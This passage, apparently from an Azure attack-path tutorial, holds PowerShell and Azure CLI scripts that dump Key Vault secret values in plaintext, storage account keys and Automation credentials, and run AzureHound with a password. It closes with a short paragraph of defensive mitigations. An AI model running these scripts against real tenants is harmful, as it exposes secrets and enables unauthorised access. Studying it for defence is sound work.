# Enumerate all Key Vaults across accessible subscriptions
foreach ($Sub in Get-AzSubscription) {
    Set-AzContext -SubscriptionId $Sub.Id

    $Vaults = Get-AzKeyVault
    foreach ($Vault in $Vaults) {
        Write-Host "`n[!] Key Vault: $($Vault.VaultName) in $($Vault.ResourceGroupName)" -ForegroundColor Yellow

        # Try to list secrets
        try {
            $Secrets = Get-AzKeyVaultSecret -VaultName $Vault.VaultName -ErrorAction Stop
            foreach ($Secret in $Secrets) {
                Write-Host "  [+] Secret: $($Secret.Name)" -ForegroundColor Green
                Write-Host "      Created: $($Secret.Created)"
                Write-Host "      Updated: $($Secret.Updated)"
                Write-Host "      Enabled: $($Secret.Enabled)"

                # Retrieve the secret value
                $SecretValue = Get-AzKeyVaultSecret -VaultName $Vault.VaultName -Name $Secret.Name -AsPlainText
                Write-Host "      Value: $SecretValue" -ForegroundColor Red
            }
        } catch {
            Write-Host "  [-] Access denied to secrets (RBAC or access policy restriction)"
        }

        # Try to list certificates
        try {
            $Certs = Get-AzKeyVaultCertificate -VaultName $Vault.VaultName -ErrorAction Stop
            foreach ($Cert in $Certs) {
                Write-Host "  [+] Certificate: $($Cert.Name)" -ForegroundColor Green
            }
        } catch {
            Write-Host "  [-] Access denied to certificates"
        }
    }
}

Step 4: Enumerate resource groups and other valuable resources

PowerShell
# List all resource groups and their resources
$ResourceGroups = Get-AzResourceGroup
foreach ($RG in $ResourceGroups) {
    Write-Host "`n[*] Resource Group: $($RG.ResourceGroupName)" -ForegroundColor Cyan
    $Resources = Get-AzResource -ResourceGroupName $RG.ResourceGroupName
    foreach ($Res in $Resources) {
        Write-Host "  $($Res.ResourceType): $($Res.Name)"
    }
}

# Check for VMs (potential for Run Command abuse)
$VMs = Get-AzVM
foreach ($VM in $VMs) {
    Write-Host "[+] VM: $($VM.Name) ($($VM.Location))" -ForegroundColor Green
    Write-Host "    OS: $($VM.StorageProfile.OsDisk.OsType)"
    Write-Host "    Status: $((Get-AzVM -Name $VM.Name -ResourceGroupName $VM.ResourceGroupName -Status).Statuses[1].DisplayStatus)"
}

# Check for Storage Accounts (may contain blobs with secrets)
$StorageAccounts = Get-AzStorageAccount
foreach ($SA in $StorageAccounts) {
    Write-Host "[+] Storage Account: $($SA.StorageAccountName)"
    $Keys = Get-AzStorageAccountKey -ResourceGroupName $SA.ResourceGroupName -AccountName $SA.StorageAccountName
    Write-Host "    Key1: $($Keys[0].Value)" -ForegroundColor Red
}

# Check for Automation Accounts (may contain credentials and runbooks)
$AutoAccounts = Get-AzAutomationAccount
foreach ($AA in $AutoAccounts) {
    Write-Host "[+] Automation Account: $($AA.AutomationAccountName)"
    $Credentials = Get-AzAutomationCredential -ResourceGroupName $AA.ResourceGroupName -AutomationAccountName $AA.AutomationAccountName
    foreach ($Cred in $Credentials) {
        Write-Host "    Credential: $($Cred.Name) - UserName: $($Cred.UserName)" -ForegroundColor Yellow
    }
}
Bash
# Alternative: Using Azure CLI for quick enumeration
az login
az account list --output table
az role assignment list --assignee "user@target.com" --output table

# List all Key Vaults
az keyvault list --output table

# Get secrets from a vault
az keyvault secret list --vault-name "target-vault" --output table
az keyvault secret show --vault-name "target-vault" --name "secret-name"

# Run AzureHound for comprehensive attack path analysis
azurehound list -u "user@target.com" -p "password" -t "tenant-id" -o output.json
🛡
Defence: Disable the "Access management for Azure resources" toggle for Global Administrators unless absolutely required. Implement Azure Lighthouse or management groups with strict RBAC policies. Use Key Vault access policies with minimal permissions and enable Key Vault diagnostic logging. Monitor the Azure Activity Log for elevateAccess operations. Separate M365 admin accounts from Azure admin accounts. Use Privileged Access Groups for Azure RBAC role assignments via PIM.